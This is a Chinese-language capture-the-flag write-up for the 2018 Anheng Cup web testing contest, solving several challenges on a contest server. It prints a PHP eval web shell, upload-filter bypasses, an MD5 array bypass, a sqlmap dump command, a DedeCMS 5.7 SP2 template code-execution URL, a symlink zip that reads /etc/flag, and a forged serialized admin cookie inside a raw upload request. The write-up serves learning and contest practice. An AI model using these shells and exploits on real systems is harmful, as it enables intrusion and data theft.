2018全國大學生軟件測試大賽-安恆杯Web測試大賽write up

第一次寫,可能會有遺漏疏忽之處,還請海涵Orz。

常規操作

常規操作,試一試 http://114.55.36.69:8009/
只允許上傳jpg、png、gif、rar、zip文件類型!

看到zip於是猜測是phar://僞協議讀取。

於是寫個小馬打包成zip文件傳上去。

例如我寫的是south.php

<?php
    @eval($_POST['south']);
?>

然後壓縮成south.zip,那麼需要訪問以下鏈接。

http://114.55.36.69:8009/index.php?url=phar://upload/5a722d46033ecd25d5ce0f13a0e7d8ec.zip/south

隨後連接小馬,讀到flag。

送分的md5

怎麼還有md5 http://114.55.36.69:8000
md5 crash?<!--$_POST['data1']!== $_POST['data2']&&md5($_POST['data1'])===md5($_POST['data2'] -->fail

很簡單的MD5繞過,構造如下payload

data1[]=QNKCDZO&data2[]=s1091221200a

!!!A_A

!!!A_A !!!-_- http://114.55.36.69:8001/
<?php
highlight_file(__FILE__);
ini_set("display_error", false);  
error_reporting(0);  
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
    echo 'A_A,have fun';
}
elseif ($str<9999999999) {
    echo 'A_A,too small';
}
elseif ((string)$str>0) {
    echo 'A_A,too big';
}
else{
    echo file_get_contents('flag.php');

}

?> A_A,too small

這題考過很多次了。

這裏的知識點是當代碼中存在$_REQUEST['user_id']裏面類似的參數的時候,使用" "、"["、"+"、"."這樣的符號的時候回自動轉化成"_"從而造成繞過。 例如構造一個?user_id=1&user.id=2 那麼waf檢測到的就是2而插入數據庫的卻是1。

而數組比所有數字都大,而字符串在強轉比較的時候爲0,因此構造如下payload。

?A.A[]=a

得到flag

簡單文件上傳

簡單文件上傳,多試試 http://114.55.36.69:8015

嘗試多次,發現是檢測文件頭來判斷文件類型,那麼使用圖馬可以繞過上傳限制。

命名爲south.jpg.php可以成功上傳。

提示如下。

uploads/17d4aa23e1d7c8cf1c176485d71effe7b35bdec3/south.peg.php succesfully uploaded!

然後連接圖馬就可以讀flag了。

新的新聞搜索

這個直接用sqlmappost注入就可以了【因爲懶得手注】。

python sqlmap.py -r 1.txt -D news —dump

也不再做過度贅述。

真的是dedecms

放出來好幾天的東西,隨便玩玩 http://114.55.36.69:8008

參考DedeCMS V5.7 SP2後臺存在代碼執行漏洞。

後臺admin弱密碼。

http://114.55.36.69:8008/dede/tpl.php?action=upload

在頁面源代碼中獲取到token值。

<input name='token' type='hidden' value='9ffadcfa24f99fb459bdab3cae23b0b2'  />
http://114.55.36.69:8008/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=9ffadcfa24f99fb459bdab3cae23b0b2

然後就能用如下頁面連接小馬。

http://114.55.36.69:8008/include/taglib/moonsec.lib.php

get flag

flag在/etc/flag http://114.55.36.69:8003/

admin弱密碼登陸。

提示如下。

Welcome admin 退出查看壓縮的flag. 路徑爲 /etc/flag

大概是會解壓傳上去的壓縮文件,然後讀取裏面的內容。

於是使用ln軟連接。

ln -s /etc/flag test
zip -y 1.zip test

然後上傳打包後的軟連接文件得到flag

不一樣的上傳系統

http://114.55.36.69:8002/

似乎是新瓶裝舊酒的原題,安恆一月月賽的題目,不再做過多贅述。

一葉飄零師傅的博客有講述。

這裏抄【並改一下原話】。

Apache存在解析漏洞。Apache是從右到左開始判斷解析,如果爲不可識別解析,就再往左判斷。

所以我們準備腳本south.php.png小馬壓縮成壓縮包上傳即可拿到shell,我們的png會被解析爲php。

但是這裏有一個小繞過,因爲會刪除帶有php的文件。

但是這裏過濾不嚴謹,PHP大寫即可繞過,最後成功拿到shell,獲得flag。

所以最終寫小馬重命名並打包上傳south1.PHP.png.zip,然後得到路徑。

/upload/cf417e3635d8414f1621a0e945a68702/south1.PHP.png
/upload/cf417e3635d8414f1621a0e945a68702/__MACOSX/._south1.PHP.png

連接就可以得到最終的flag

不一般的注入

太菜了,這題沒做出來Orz。

祕密的系統

不久前纔開發的系統,功能也還不完善,代碼也還有待改進 http://114.55.36.69:8014/

看到一個Upload

點進去提示您不是管理員,無法使用此功能

登陸界面也不能正常訪問。

習慣性的翻看robots.txt得到如下信息。

User-agent: *
Disallow: index.php?r=site/loginuser_1

於是進入登錄界面。

 <!--
*** author: cib_zhinianyuxin.com
*** code: github.com
-->

給出了作者github的一些信息。

翻看github,得到一個登陸賬號密碼test/cib_sec,以及cookie生成的方法。

secret-system
##README.md

*** author: cib_zhinianyuxin.com

It's just a system which is not completed , there are some tips:

you can use test/cib_sec to login ,but you are not admin!
only admin can upload file ,but whichone can not bypass my rules.
/**
$sign = array(
                    'id'=>$model->id,
                    'name'=>$model->username,
                    'sign'=>md5($model->id.$model->username),
                );
$_COOKIE['cib'] = serialize($sign);
**/

登陸測試賬號後,Google插件EditThisCookie可以查看該賬號的cib cookieurl編碼的。

a%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A2%3Bs%3A4%3A%22name%22%3Bs%3A4%3A%22test%22%3Bs%3A4%3A%22sign%22%3Bs%3A32%3A%227cbab5cea99169139e7e6d8ff74ebb77%22%3B%7D
a:3:{s:2:"id";i:2;s:4:"name";s:4:"test";s:4:"sign";s:32:"7cbab5cea99169139e7e6d8ff74ebb77";}

解碼後發現可以構造cib cookie,改i1testadmin,最後的md5編碼1.admin得到6c5de1b510e8bdd0bc40eff99dcd03f8,於是得到如下cookie

a:3:{s:2:"id";i:1;s:4:"name";s:5:"admin";s:4:"sign";s:32:"6c5de1b510e8bdd0bc40eff99dcd03f8";}

url編碼後修改cookie

%61%3a%33%3a%7b%73%3a%32%3a%22%69%64%22%3b%69%3a%31%3b%73%3a%34%3a%22%6e%61%6d%65%22%3b%73%3a%35%3a%22%61%64%6d%69%6e%22%3b%73%3a%34%3a%22%73%69%67%6e%22%3b%73%3a%33%32%3a%22%36%63%35%64%65%31%62%35%31%30%65%38%62%64%64%30%62%63%34%30%65%66%66%39%39%64%63%64%30%33%66%38%22%3b%7d

然後成功升級成爲管理員。

一個文件上傳。

Apache2.2.15漏洞解析。

上傳文件抓包改後綴名爲.php.jpg

POST /web/index.php?r=upload%2Fupload HTTP/1.1
Host: 114.55.36.69:8014
Content-Length: 332
Cache-Control: max-age=0
Origin: http://114.55.36.69:8014
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUAu1gUcre21NULzR
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://114.55.36.69:8014/web/index.php?r=upload%2Findex
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: _csrf=ZrheCWNLhMGJ84x9lHiPaGGspHQBAJU_; _csrf_name_7ace9e0d=d13170c019575cfa3f28e142a6c066ad; _csrf_name_7ace9e0d__ckMd5=1725411428d3c49a; cib=%61%3a%33%3a%7b%73%3a%32%3a%22%69%64%22%3b%69%3a%31%3b%73%3a%34%3a%22%6e%61%6d%65%22%3b%73%3a%35%3a%22%61%64%6d%69%6e%22%3b%73%3a%34%3a%22%73%69%67%6e%22%3b%73%3a%33%32%3a%22%36%63%35%64%65%31%62%35%31%30%65%38%62%64%64%30%62%63%34%30%65%66%66%39%39%64%63%64%30%33%66%38%22%3b%7d; PHPSESSID=mq4vqc5002uti92f8t4gknh9l6
Connection: close

------WebKitFormBoundaryUAu1gUcre21NULzR
Content-Disposition: form-data; name="upload_file"; filename="south.php.jpg"
Content-Type: text/php

<?php
    @eval($_POST['south']);
    ?>

------WebKitFormBoundaryUAu1gUcre21NULzR
Content-Disposition: form-data; name="submit"

ä¸Šä¼ 
------WebKitFormBoundaryUAu1gUcre21NULzR--

最後連接小馬得到flag

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章